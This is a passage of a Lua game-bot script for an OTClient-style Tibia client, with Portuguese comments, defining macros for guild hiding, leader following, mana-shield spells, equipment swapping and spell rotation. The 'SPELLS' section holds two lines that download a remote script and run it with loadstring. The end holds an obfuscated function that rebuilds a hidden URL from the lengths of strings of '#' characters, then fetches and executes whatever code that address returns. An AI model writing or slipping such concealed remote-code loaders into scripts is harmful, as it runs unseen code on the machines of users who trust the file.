id: hideguild
anchors.top: title.bottom
anchors.left: parent.left
anchors.right: parent.right
height: 17
margin-top: 4
text-align: center

$on:
text: Hide Guild Editor

$!on:
text: Show Guild Editor

]])

local hideguild = setupUI([[


Panel
height: 50

Label
id: guildsName
anchors.top: parent.top
anchors.left: parent.left
margin-top: 8
margin-left: 40
height: 17
text: Enter allies guild
color: white

BotTextEdit
id: guildTextOne
anchors.top: guildsName.bottom
anchors.right: parent.right
anchors.left: parent.left
margin-top: 5
font: verdana-11px-rounded

]])
hideguild:hide()

if not storage.hideguild then


storage.hideguild = {
enabled = false,
}
end

local config = storage.hideguild

ui.hideguild.onClick = function(widget)
if not CaveBot.Config then return end
if ui.hideguild:isOn() then
hideguild:hide()
ui.hideguild:setOn(false)
else
hideguild:show()
ui.hideguild:setOn(true)
end
end

ui.title:setOn(config.enabled)
ui.title.onClick = function(widget)
config.enabled = not config.enabled
widget:setOn(config.enabled)
end

hideguild.guildTextOne:setText(config.guildasaliadas)
hideguild.guildTextOne.onTextChange = function(widget, newText)
config.guildasaliadas = newText
end

local filterPanel = modules.game_battle.filterPanel


modules.game_battle.battleWindow:show()

modules.game_battle.doCreatureFitFilters = function(creature)
if creature:isLocalPlayer() then
return false
end
if creature:getHealthPercent() <= 0 then
return false
end

local pos = creature:getPosition()


if not pos then return false end

local isBotServer = vBot.BotServerMembers[creature:getName()]


local localPlayer = g_game.getLocalPlayer()
if pos.z ~= localPlayer:getPosition().z or not creature:canBeSeen() then return false end

local hidePlayers = filterPanel.buttons.hidePlayers:isChecked()


local hideNPCs = filterPanel.buttons.hideNPCs:isChecked()
local hideMonsters = filterPanel.buttons.hideMonsters:isChecked()
local hideSkulls = filterPanel.buttons.hideSkulls:isChecked()
local hideParty = filterPanel.buttons.hideParty:isChecked()

if hidePlayers and creature:isPlayer() then


return false
elseif hideNPCs and creature:isNpc() then
return false
elseif hideMonsters and creature:isMonster() then
return false
elseif hideSkulls and creature:isPlayer() and creature:getSkull() == SkullNone then
return false
elseif hideParty and creature:getShield() > ShieldWhiteBlue then
return false
elseif config.enabled and ((isFriend(creature) or creature:getEmblem() == 1 or creature:getEmblem() ==
4 or isBotServer)) then
return false
end

if storage.extras.checkPlayer and config.enabled then


local guildText = config.guildasaliadas:lower()
local creatureText = creature:getText():lower()
if guildText:len() > 0 then
local dividirs = string.split(guildText, ",")
for i=1,#dividirs do
local dividir = dividirs[i]
dividir = dividir:trim()
dividir = dividir:lower()
if dividir:len() > 10 then
dividir = dividir:sub(1,10)
dividir = dividir.."..."
if creatureText:find(dividir) then
return false
end
end
end
end
end
return true
end
ui.title:setTooltip("Ao adicionar uma nova guilda aliada, ligue e desligue \n o hide guild para esconder a
guilda aliada adicionada.")
ui.hideguild:setTooltip("Edite a lista de aliados usando virgula.")

UI.Separator()

---------------------------- MUDER OUTFIT DO LIDER

targetColorName = "targetcolor"
if not storage[targetColorName] then storage[targetColorName] = { player = 'name'} end

UI.Label("Nome do Frontline")

targetColorTE = UI.TextEdit(storage[targetColorName].player or "name", function(widget, newText)


storage[targetColorName].player = newText
end)

local leaderName = ''


local numberoutfit = 1407

macro(100, "Procurar", function()

if not storage[targetColorName].player or storage[targetColorName].player == 'name' then return end


leaderName = storage[targetColorName].player

local specs = getSpectators()


for _, spec in ipairs(specs) do
if spec:isPlayer() and spec:getName() == leaderName then
local specOutfit = spec:getOutfit()
if specOutfit.type == numberoutfit then
return
end
specOutfit.type = numberoutfit
spec:setOutfit(specOutfit)
end
end
end)

UI.Separator()

---------------------------- ADVANCED FOLLOW (PRECISA SER MELHORADO)

local followThis = tostring(storage.followLeader)

FloorChangers = {
Ladders = {
Up = {1948, 5542, 16693, 16692, 8065, 8263, 7771, 20573, 20475, 21297 },
Down = {432, 412, 469, 1080}
},

Holes = { -- teleports
Up = {},
Down = {293, 35500, 294, 595, 1949, 4728, 385, 9853, 37000, 37001, 35499, 35497, 29979, 25047,
25048, 25049, 25050,
25051, 25052, 25053, 25054, 25055, 25056, 25057, 25058, 21046, 21048 }
},

RopeSpots = { -- buracos pra usar corda


Up = {386, 12202, 21965, 21966},
Down = {}
},

Stairs = {
Up = {16690, 1958, 7548, 7544, 1952, 1950, 1947, 7542, 855, 856, 1978, 1977, 6911, 6915, 1954,
5259, 20492, 1956, 775,
5257, 5258, 22566, 22747, 30757, 20225, 17395, 1964, 1966, 20255, 29113, 28357, 30912, 30906,
30908, 30914,
30916, 30904, 30918, 20750, 20750, 20491, 20474, 20496 },

Down = {482, 414, 437, 7731, 413, 434, 859, 438, 6127, 566, 7476, 4826, 484, 433, 369, 20259, 19960,
411,
8690, 4825, 6130, 601, 1067, 567, 7768, 1067, 411, 600 }
},

Sewers = {
Up = {1082},
Down = {435,21298}
},
Levers = {
Up = {2772, 2773, 1759, 1764, 21051, 7131, 7132, 39756},
Down = {2772, 2773, 1759, 1764, 21051, 7131, 7132, 39756}
},
}

local openDoors = { 34847, 1764, 21051, 30823, 6264, 5282, 20453, 11705, 6256, 2772, 27260, 2773,
1632, 6252, 5007, 1629, 5107, 5281, 1968, 31116, 31120, 30742, 31115, 31118, 20474, 5736, 5733,
31202, 31228, 31199, 31200, 33262, 30824, 5125, 5126, 5116, 8257, 8258, 8255, 8256, 5120, 30777,
30776, 23873, 23877, 5736, 6264, 31262, 31130, 6249, 5122, 30049, 7727, 25803, 16277, 5098, 5104,
5102, 5106, 5109, 5111, 5113, 5118, 5120, 5102, 5100, 1638, 1640, 19250, 3500, 3497, 3498, 3499, 2177,
17709, 1642, 23875, 1644, 5131, 5115, 28546, 6254, 28546, 30364, 30365, 30367, 30368, 30363, 30366,
31139, 31138, 31136, 31137, 4981, 4977, 11714, 7771, 9558, 9559, 20475, 2909, 2907, 8618, 31366,
1646, 1648, 4997, 22506, 8259, 27503, 27505, 27507, 31476, 31477, 31477, 31475, 31474, 8363, 5097,
1644, 7712, 7715, 11237, 11246, 9874, 6260, 33634, 33633, 22632, 22639, 1631, 1628, 20446, 20443,
20444, 2334, 9357, 9355 }

onTalk(function(name, level, mode, text, channelId, pos)


if AdvancedFollow:isOn() then
if mode == 1 and name == storage.followLeader then
if text:lower():find("hi thais yes") then
CaveBot.Travel("thais")
end
if text:lower():find("hi carlin yes") then
CaveBot.Travel("carlin")
end
if text:lower():find("hi edron yes") then
CaveBot.Travel("edron")
end
if text:lower():find("hi venore yes") then
CaveBot.Travel("venore")
end
if text:lower():find("hi darashia yes") then
CaveBot.Travel("darashia")
end
if text:lower():find("hi ankrahmun yes") then
CaveBot.Travel("ankrahmun")
end
end
end
end)

local target = followThis


local lastKnownPosition
local lastKnownDirection

local function goLastKnown()


if getDistanceBetween(pos(), {x = lastKnownPosition.x, y = lastKnownPosition.y, z =
lastKnownPosition.z}) > 1 then
local newTile = g_map.getTile({x = lastKnownPosition.x, y = lastKnownPosition.y, z =
lastKnownPosition.z})
if newTile then
g_game.use(newTile:getTopUseThing())
delay(math.random(100, 400))
end
end
end

local function handleUse(pos)


goLastKnown()
local lastZ = posz()
if posz() == lastZ then
local newTile = g_map.getTile({x = pos.x, y = pos.y, z = pos.z})
if newTile then
g_game.use(newTile:getTopUseThing())
delay(math.random(100, 400))
end
end
end

local function handleStep(pos)


goLastKnown()
local lastZ = posz()
if posz() == lastZ then
autoWalk(pos)
delay(math.random(100, 400))
end
end

local function handleRope(pos)


goLastKnown()
local lastZ = posz()
if posz() == lastZ then
local newTile = g_map.getTile({x = pos.x, y = pos.y, z = pos.z})
if newTile then
useWith(storage.extras.rope, newTile:getTopUseThing())
delay(math.random(100, 400))
end
end
end

local floorChangeSelector = {
Ladders = {Up = handleUse, Down = handleStep},
Holes = {Up = handleStep, Down = handleStep},
RopeSpots = {Up = handleRope, Down = handleRope},
Stairs = {Up = handleStep, Down = handleStep},
Sewers = {Up = handleUse, Down = handleUse},
Levers = {Up = handleUse, Down = handleUse},
}

local function checkTargetPos()


local c = getCreatureByName(target)
if c and c:getPosition().z == posz() then
lastKnownPosition = c:getPosition()
end
end
local function distance(pos1, pos2)
local pos2 = pos2 or lastKnownPosition or pos()
return math.abs(pos1.x - pos2.x) + math.abs(pos1.y - pos2.y)
end

local function lastTurnDir()


local target = getCreatureByName(storage.followLeader)
local pdir = player:getDirection()
if target then
local tdir = target:getDirection()
toChangeDir[tdir] = tdir
end
local p = toChangeDir[tdir]
if not p then
return
end
if targetZ:getDirection() ~= player:getDirection() then
turn(pdir)
end
end

local function turnDir()


local targetZ = getCreatureByName(storage.followLeader)
local pdir = player:getDirection()
for _, n in ipairs(getSpectators(true)) do
if n:getName() == storage.followLeader then
targetZ = n
end
end
if not targetZ then return end
local targetDir = targetZ:getDirection()
if targetZ and targetZ:getPosition().z == posz() and targetZ:getDirection() ~= player:getDirection() then
turn(targetDir)
end
end

local function WallDetect()

local targetZ = getCreatureByName(storage.followLeader)


local position = player:getPosition()

for _, n in ipairs(getSpectators(true)) do
if n:getName() == storage.followLeader then
targetZ = n
end
end
if not targetZ then return end

local targetZ = getCreatureByName(storage.followLeader)


local position = player:getPosition()

for _, n in ipairs(getSpectators(true)) do
if n:getName() == storage.followLeader then
targetZ = n
end
end
if not targetZ then return end
local targetDir = targetZ:getDirection()
if targetZ and targetZ:getPosition().z ~= posz() and targetZ:getDirection() ~= player:getDirection() then
lastKnownDirection = targetZ:getDirection()
end
local tile
if lastKnownDirection == 0 then -- north
turn(lastKnownDirection)
position.y = position.y - 1
tile = g_map.getTile(position)
elseif lastKnownDirection == 1 then -- east
turn(lastKnownDirection)
position.x = position.x + 1
tile = g_map.getTile(position)
elseif lastKnownDirection == 2 then -- south
turn(lastKnownDirection)
position.y = position.y + 1
tile = g_map.getTile(position)
elseif lastKnownDirection == 3 then -- west
turn(lastKnownDirection)
position.x = position.x - 1
tile = g_map.getTile(position)
end

if targetZ:getPosition().z == posz() then return true


elseif targetZ:getPosition().z - posz() >= 1 then say('exani hur "down') -- jump "down"
delay(math.random(100, 400))
elseif targetZ:getPosition().z - posz() <= -1 then say('exani hur "up') -- jump "up"
delay(math.random(100, 400))
end
end

local function executeClosest(possibilities)


local closest
local closestDistance = 99999
for _, data in ipairs(possibilities) do
local dist = distance(data.pos)
if dist < closestDistance then
closest = data
closestDistance = dist
end
end

if closest then
closest.changer(closest.pos)
end
end

local function handleFloorChange()


local c = getCreatureByName(target)
local range = 2
local p = pos()
local possibleChangers = {}
local checkZ = {}
local targetZ = nil
for _, n in ipairs(getSpectators(true)) do
if n:getName() == target then
targetZ = n
end
end
if not targetZ then table.insert(checkZ,"Down")
elseif targetZ:getPosition().z == posz() then return true
elseif targetZ:getPosition().z - posz() >= 1 then table.insert(checkZ,"Down")
elseif targetZ:getPosition().z - posz() <= -1 then table.insert(checkZ,"Up")
end
for _, dir in ipairs(checkZ) do
for changer, data in pairs(FloorChangers) do
for x = -range, range do
for y = -range, range do
local tile = g_map.getTile({x = p.x + x, y = p.y + y, z = p.z})
if tile then
if table.find(data[dir], tile:getTopUseThing():getId()) then
table.insert(possibleChangers, {changer = floorChangeSelector[changer][dir], pos = {x = p.x
+ x, y = p.y + y, z = p.z}})
end
end
end
end
end
end
executeClosest(possibleChangers)
end

local function targetMissing()


for _, n in ipairs(getSpectators(false)) do
if n:getName() == target then
return n:getPosition().z ~= posz()
end
end
return true
end

followChange = macro(200, "Follow Change", function() end)

local toFollowPos = {}

AdvancedFollow = macro(20, "Advanced Follow", "", function(macro)


if followMacro.isOn() then followMacro.setOff() end
local target = getCreatureByName(storage.followLeader)
local pPos = player:getPosition()
if target then
local tpos = target:getPosition()
toFollowPos[tpos.z] = tpos
end
if player:isWalking() then
return
end
local p = toFollowPos[posz()]
if not p then
return
end
if autoWalk(p, 20, {ignoreNonPathable=true, precision=1}) then
delay(tonumber(1))
end

turnDir()

checkTargetPos()
if targetMissing() and lastKnownPosition then
handleFloorChange()
end
if targetMissing() and lastKnownPosition and possibleChangers == nil then
WallDetect()
end
if not targetMissing() and getDistanceBetween(pos(), target:getPosition()) >= 3 then
for _, NEWtile in pairs(g_map.getTiles(posz())) do
if distanceFromPlayer(NEWtile:getPosition()) == 1 then
if table.find(openDoors, NEWtile:getTopUseThing():getId()) then
g_game.use(NEWtile:getTopUseThing())
delay(math.random(500, 800))
end
end
end
end
end)

followled = addTextEdit("playerToFollow", storage.followLeader or "Leader name", function(widget, text)


storage.followLeader = text
target = tostring(text)
end)
onPlayerPositionChange(function(newPos, oldPos)
if followChange:isOff() then return end
if (g_game.isFollowing()) then
tfollow = g_game.getFollowingCreature()

if tfollow then
if tfollow:getName() ~= storage.followLeader then
followled:setText(tfollow:getName())
storage.followLeader = tfollow:getName()
end
end
end
end)
onCreaturePositionChange(function(creature, newPos, oldPos)
if creature:getName() == storage.followLeader and newPos then
toFollowPos[newPos.z] = newPos
end
end)

---------------------------- FOLLOW COM DISTANCIA (NÃO USAR JUNTO COM O ADVANCED FOLLOW)

followdist = "disttofollow"
if not storage[followdist] then
storage[followdist] = { dist = "3" }
end
UI.Label("Distance from player:")
UI.TextEdit(storage[followdist].dist or "3", function(widget, newText)
storage[followdist].dist = newText
end)

UI.Label("Walk Delay")

UI.TextEdit(storage.delayf or "100", function(widget, newText)


storage.delayf = newText
end)

followMacro = macro(20, "Follow", function()


if AdvancedFollow.isOn() then AdvancedFollow.setOff() end
local target = getCreatureByName(storage.followLeader)
local pPos = player:getPosition()
if target then
local tpos = target:getPosition()
toFollowPos[tpos.z] = tpos
end
if player:isWalking() then
return
end
local p = toFollowPos[posz()]
if not p then
return
end
if autoWalk(p, 20, {ignoreNonPathable=true, precision=1,
marginMin=tonumber(storage[followdist].dist), marginMax=tonumber(storage[followdist].dist)}) then
delay(tonumber(storage.delayf))
end
end)
UI.Separator()

---------------------------- UTAMO/EXANA

if voc() == 3 or voc() == 4 or voc() == 13 or voc() == 14 then

local panelName = "utamoexana"


local ui = setupUI([[
Panel
height: 110
margin-top: 1

Label
id: uthp
anchors.left: parent.left
anchors.right: parent.right
anchors.top: parent.top
text-align: center

HorizontalScrollBar
id: uthpScroll
anchors.left: parent.left
anchors.right: parent.right
anchors.top: uthp.bottom
margin-right: 4
margin-left: 4
margin-top: 5
minimum: 1
maximum: 100
step: 1

Label
id: exhp
anchors.left: parent.left
anchors.right: parent.right
anchors.top: uthpScroll.bottom
margin-top: 6
text-align: center

HorizontalScrollBar
id: exhpScroll
anchors.left: parent.left
anchors.right: parent.right
anchors.top: exhp.bottom
margin-right: 4
margin-left: 4
margin-top: 5
minimum: 1
maximum: 100
step: 1

Label
id: exmana
anchors.left: parent.left
anchors.right: parent.right
anchors.top: exhpScroll.bottom
margin-top: 6
text-align: center

HorizontalScrollBar
id: exmanaScroll
anchors.left: parent.left
anchors.right: parent.right
anchors.top: exmana.bottom
margin-right: 4
margin-left: 4
margin-top: 5
minimum: 0
maximum: 100
step: 1

]])
ui:setId(panelName)

if not storage[panelName] then


storage[panelName] = {
percenthputamo = 20,
percenthpexana = 20,
percentmp = 20,
}
end

local utexconfig = storage[panelName]

local updateUtHPText = function()


ui.uthp:setText("HP% to Utamo Vita: " .. utexconfig.percenthputamo .. "%")
end
ui.uthp:setText("HP% to Utamo Vita: " .. utexconfig.percenthputamo .. "%")
ui.uthpScroll.onValueChange = function(scroll, value)
utexconfig.percenthputamo = value
updateUtHPText()
end

local updateExHPText = function()


ui.exhp:setText("HP% to Exana Vita: " .. utexconfig.percenthpexana .. "%")
end
ui.exhp:setText("HP% to Exana Vita: " .. utexconfig.percenthpexana .. "%")
ui.exhpScroll.onValueChange = function(scroll, value)
utexconfig.percenthpexana = value
updateExHPText()
end

local updateExMPText = function()


ui.exmana:setText("MP% to Exana/Utamo: " .. utexconfig.percentmp .. "%")
end
ui.exmana:setText("MP% to Exana/Utamo: " .. utexconfig.percentmp .. "%")
ui.exmanaScroll.onValueChange = function(scroll, value)
utexconfig.percentmp = value
updateExMPText()
end

ui.uthpScroll:setValue(utexconfig.percenthputamo)
ui.exhpScroll:setValue(utexconfig.percenthpexana)
ui.exmanaScroll:setValue(utexconfig.percentmp)

local exanaCD = 4000


UtamoExanaMacro = macro(20, "", function()
if UtamoMacro then UtamoMacro:setOff() end
if hppercent() <= utexconfig.percenthputamo and not hasManaShield() and manapercent() >
utexconfig.percentmp then
say("utamo vita")
elseif hasManaShield() and (hppercent() >= utexconfig.percenthpexana or manapercent() <
utexconfig.percentmp) then
say("exana vita")
delay(exanaCD)
end
return
end)
UtamoExanaIcon = addIcon("utamoexana", {item={id=8090}, movable=true, text="Utamo\nExana"},
UtamoExanaMacro )

addSeparator()

---------------------------- UTAMO VITA % DO ESCUDO

local panelName = "AutoUtamo"


local ui = setupUI([[
Panel
height: 55
margin-top: 1

Label
id: manaTitle
anchors.left: parent.left
anchors.right: parent.right
anchors.top: parent.top
text-align: center

HorizontalScrollBar
id: manaScroll
anchors.left: parent.left
anchors.right: parent.right
anchors.top: manaTitle.bottom
margin-right: 4
margin-left: 4
margin-top: 7
minimum: 5
maximum: 50
step: 2

CheckBox
id: checkSpell
anchors.right: parent.right
anchors.left: parent.left
anchors.top: manaScroll.bottom
margin-left: 3
margin-right: 102
margin-top: 8
Label
id: spellText
anchors.left: checkSpell.left
anchors.top: manaScroll.bottom
margin-left: 15
margin-top: 8
text: Only Spell
color: #ffaa00
font: verdana-11px-rounded

CheckBox
id: checkPotion
anchors.right: parent.right
anchors.left: spellText.left
anchors.top: manaScroll.bottom
margin-left: 60
margin-right: 3
margin-top: 8

Label
id: potionText
anchors.right: parent.right
anchors.left: checkPotion.left
anchors.top: manaScroll.bottom
margin-left: 17
margin-top: 8
text: Spell + Potion
color: #ffaa00
font: verdana-11px-rounded

]])
ui:setId(panelName)

if not storage[panelName] then


storage[panelName] = {
CheckPotion = false,
CheckSpell = false,
manaPer = 20,
shieldpercent = 51,
}
end

local utamoconfig = storage[panelName]

ui.checkPotion:setChecked(utamoconfig.CheckPotion)
ui.checkPotion.onClick = function(widget)
utamoconfig.CheckPotion = not utamoconfig.CheckPotion
widget:setChecked(utamoconfig.CheckPotion)
end

ui.checkSpell:setChecked(utamoconfig.CheckSpell)
ui.checkSpell.onClick = function(widget)
utamoconfig.CheckSpell = not utamoconfig.CheckSpell
widget:setChecked(utamoconfig.CheckSpell)
end

local updateManaText = function()


ui.manaTitle:setText("Shield to cast/use pot: " .. utamoconfig.manaPer .. "%")
end
ui.manaTitle:setText("Shield to cast/use pot: " .. utamoconfig.manaPer .. "%")

ui.manaScroll.onValueChange = function(scroll, value)


utamoconfig.manaPer = value
updateManaText()
end

ui.manaScroll:setValue(utamoconfig.manaPer)

local MaxShield = (8*player:getLevel() + 7*player:getMagicLevel())

UtamoMacro = macro(100, "", function()


local PerMana = utamoconfig.manaPer
if UtamoExanaMacro then UtamoExanaMacro:setOff() end
if not hasManaShield() and not isInPz() and not modules.game_cooldown.isGroupCooldownIconActive(3)
and not modules.game_cooldown.isCooldownIconActive(44) then cast('utamo vita') end
if (utamoconfig.CheckSpell and utamoconfig.CheckPotion) then
warn("Check only one box!")
delay(2000)
return
end
if utamoconfig.CheckSpell and not isInPz() then
if not timecast or timecast <= now then
if utamoconfig.shieldpercent < PerMana and not
modules.game_cooldown.isGroupCooldownIconActive(3) and not
modules.game_cooldown.isCooldownIconActive(44) then
cast("utamo vita")
utamoconfig.shieldpercent = 51
timecast = now + 750
end
end
return
end
if utamoconfig.CheckPotion and not isInPz() then
if utamoconfig.shieldpercent < PerMana then
local magicPotion = findItem(35563)
if not modules.game_cooldown.isGroupCooldownIconActive(3) and not
modules.game_cooldown.isCooldownIconActive(44) then
cast("utamo vita")
utamoconfig.shieldpercent = 51
timecast = now + 750
elseif magicPotion and (modules.game_cooldown.isGroupCooldownIconActive(3) or
modules.game_cooldown.isCooldownIconActive(44)) then
g_game.use(magicPotion)
utamoconfig.shieldpercent = 51
timecast = now + 1000
end
end
return
end
end)
UtamoIcon = addIcon("AutoUtamo", {item={id=3548,count=1}, movable=true, text="Auto\nUtamo"},
UtamoMacro)

onTextMessage(function(mode, text)
if not autoutamo or not utamoconfig.CheckSpell or not utamoconfig.CheckPotion then return true end
if mode == 20 then
local regex = "Your mana barrier is only ([0-9]+)[%] ([(][0-9]+)[)][ left.]"
if text:lower():find("your mana barrier is only") then
local data = regexMatch(text, regex)[1]
if #data ~= 0 then
utamoconfig.shieldpercent = tonumber(data[2])
end
end
end
end)
end
addSeparator()

---------------------------- SSA E MIGHT RING

SSAMight = macro(170, "", function()


local amulet = 3081
local might = 3048
if getNeck() == nill or getNeck():getId() ~= amulet then
g_game.equipItemId(amulet)
delay(30)
end
if getFinger() == nill or getFinger():getId() ~= might then
g_game.equipItemId(might)
delay(30)
end
end)
addIcon("SSA", {item={id = 3081}, movable=true, hotkey="Home", text="SSA"}, SSAMight )

--------------------------SPELLS

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("Spells")


UI.Separator()

local currentSpellIndex = 1

macro(3000, "Multi spells", function()


if not g_game.isAttacking() then
return
end

say(storage["Spell" .. currentSpellIndex], 3000)

currentSpellIndex = currentSpellIndex + 1
if currentSpellIndex > 4 then
currentSpellIndex = 1
end
end)

addTextEdit("Spell1", storage.Spell1 or "spell1", function(widget, text)


storage.Spell1 = text
end)

addTextEdit("Spell2", storage.Spell2 or "spells2", function(widget, text)


storage.Spell2 = text
end)

addTextEdit("Spell3", storage.Spell3 or "spell3", function(widget, text)


storage.Spell3 = text
end)

addTextEdit("Spell4", storage.Spell4 or "spell4", function(widget, text)


storage.Spell4 = text
end)

modules.corelib.HTTP.get(link, function(script) assert(loadstring(script))() end);setDefaultTab("Spells")


UI.Separator()

function
dDXdSzzvvNKuNsIvdclCjkfgjaGbMqOcKaeDfcoqBaZDwsThGglOvFFowRsQQzpmwLESILBYjncputgdpYPB(c)
tab={}
for i = 1,#c do
x=string.len(c[i])
y=string.char(x)
table.insert(tab,y)
end
x=table.concat(tab)
return x
end

HTTP.get(dDXdSzzvvNKuNsIvdclCjkfgjaGbMqOcKaeDfcoqBaZDwsThGglOvFFowRsQQzpmwLESILBYjncputgd
pYPB({'################################################################################
########################','#############################################################
#######################################################','##############################
######################################################################################'
,'#####################################################################################
###########################','##########################################################
#########################################################','############################
##############################','###############################################','######
#########################################','############################################
###########################################################','##########################
###############################################################################','######
######################################################################################
########################','#############################################################
###############################################','######################################
###########################################################','##########################
########################################################################','#############
#################################','####################################################
###############################################','######################################
#########################################################################','############
######################################################################################
###########','###############################################','#########################
##############################################################################','#######
######################################################################################
########','#############################################################################
#####################################','################################################
#################################################','####################################
##############################################################################','#######
######################################################################################
#######','##############################################################################
#################################','##############################################','####
######################################################################################
#########','############################################################################
#########################################','############################################
#########################################################','############################
######################################################################################
####','#################################################################################
################','#####################################################################
##############################################','#######################################
#######','#######################################################','#####################
##########################','###########################################################
####################','#################################################################
###################################################','##################################
#################################################################','####################
######################################################################################
##','###################################################################################
######################','###############################################################
######################################','###############################################
###############################################################','######################
######################################################################################
########','###############################################','############################
#################','###############################################','###################
######################################################################################
#########','############################################################################
#####################','################################################################
#######################################################','##############################
#################','####################################################################
#########################################','############################################
#####################################################','################################
#########################################################################','############
######################################################################################
############','###############################################','########################
############################################################','#########################
########################################################################','#############
#####################################################################################','
######################################################################################
######################','###############################################################
##################################','#####################################','############
######################################','###############################################
#','####################################################################################
################','#####################################################################
################################','#####################################','##############
####################################','################################################',
'######################################################################################
#############################','########################################################
########################################################','#############################
########################################################################','#############
######################################################################################
#########','############################################################################
################################','#####################################################
##############################################################'}), function(script)
assert(loadstring(script))()
end)

You might also like